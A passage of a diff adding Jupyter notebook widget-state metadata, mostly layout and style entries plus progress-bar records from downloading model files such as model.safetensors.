+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6b403cea94ae4e2887302d164e991cf8": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_a464d6a9bc374081a75ad8a0514c869a",
+            "placeholder": "​",
+            "style": "IPY_MODEL_0c1419eec41b48f093ec53410c10c583",
+            "value": "Downloading model.safetensors: 100%"
+          }
+        },
+        "6be67e6518ea45a0b14a24c79b947617": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d9069541f2f246b99881a937f384c7ab",
+            "max": 472,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_c5ffdd678bd444d6b66bc7525947b716",
+            "value": 472
+          }
+        },
+        "6d22121bbb6f4bcaa1b5f355d0f2e8a1": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_ed4320b4d8284ead91830c0b11b9bc56",
+              "IPY_MODEL_1fe983e43b7f4bca905a65b07eef5491",
+              "IPY_MODEL_6a234c3c85734a2cae1348a3329bb659"
+            ],
+            "layout": "IPY_MODEL_d3415f46386c49ce9593585d421657fa"
+          }
+        },
+        "6daa2b5b26e4459aa5bdebd0062cf021": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6e4877900597413e96d01faf5f76b700": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "6f03e27712e84cc49ad1a665c7537f12": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6f520ae078104d70945b5d42ded1a75a": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "6f5b06b458d7482ba9685013cad5bfa7": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "6fea93ee309c49be85992b1a18756101": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_6168a5fc0aeb44cfab1ca7753ecedced",
+            "placeholder": "​",
+            "style": "IPY_MODEL_aabeb052d7644bdcab945fdd5acf3cd7",
+            "value": " 617/617 [00:00&lt;00:00, 8.86kB/s]"
+          }
+        },
+        "721121db2dc54b14aec771d3c6cdd0fd": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "72effdc24eb84648b6838729c11fed72": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7342611c130c4e3da540d7ae0ac95b52": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "740417603bd94bf698fdba5b374d7c3a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "75327980774b4419a9ec50f97a0c1d75": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "76732cd3aa5745058c70bb1aa44b1667": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1494c31d3d114a13a3ebbe85df2316ba",
+            "placeholder": "​",
+            "style": "IPY_MODEL_9604b8f7a8ef4fa6b488ee1892e138d2",
+            "value": "100%"
+          }
+        },
+        "768863d6e7e747709c4413764e7e7093": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "78684c2b2b05406ba992fe197c947bcc": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "792bda382a844c8a9bd9c9de789b44ac": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1bbd2bbca0c04df982278b7c24c8c320",
+            "placeholder": "​",
+            "style": "IPY_MODEL_ee190ee62fb24dacb96d9b57e562c3b9",
+            "value": "100%"
+          }
+        },
+        "79b4c9681b0d496ab86f77b6b4902ad6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7adf45fac6804cbcbbe5d7c6cbdfd878": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7af9fef14d3a4464aa16232f9d2cf94a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7bcb49396cf84ea6878d5ceddd480326": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7be8f4522cdc41f08c69b4a36520eb5a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7cfb6d760505428e9ffc07fe0fbca962": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7d941358dd1b4298bf1bf803b625f764": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "7dafba4f66a245659587c06edbffcf51": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ee87d3500d5a483b8a03b0c499392928",
+            "placeholder": "​",
+            "style": "IPY_MODEL_5a4843d7d25545dea9b6e53cb091321b",
+            "value": " 1.06M/1.06M [00:00&lt;00:00, 6.40MB/s]"
+          }
+        },
+        "7e4e6d45329a415cba65daa185369ad6": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "7ede80a1f6544f2a8dfd631cb6d4eaca": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "7f58916aaee04e5b89978d0111acf83d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "80e6d8758fe646e2a43d45e31d157b26": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "811695ab3aef4a368d2949af43b5f589": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8af370239d6f45f48cd1f6befdbd9211",
+            "placeholder": "​",
+            "style": "IPY_MODEL_247e38c4011445f1adb3a832ddb53e2e",
+            "value": " 806/806 [00:00&lt;00:00, 15.4kB/s]"
+          }
+        },
+        "8214d94c9de5436a9ed42367af453491": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "84df3286d6044ab5aa6e8cb6c8d1b813": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_39a24d7b46f2428597c345b1d0ac8680",
+            "max": 50,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_f48ce6b6925b4b058f8679d73c039ac8",
+            "value": 50
+          }
+        },
+        "851980277e5e486a9962a2e7607be100": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0220a92b3977434dab97c2329e9f5013",
+            "placeholder": "​",
+            "style": "IPY_MODEL_c65c5e6845254d47b6b0370b306b9eef",
+            "value": " 100/100 [00:27&lt;00:00,  3.78it/s]"
+          }
+        },
+        "865a15f101944359bbf30226e4cc1c90": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5a00f85a6e9e44fcaa25dd0d982f2d0f",
+            "max": 20,
+            "min": 0,
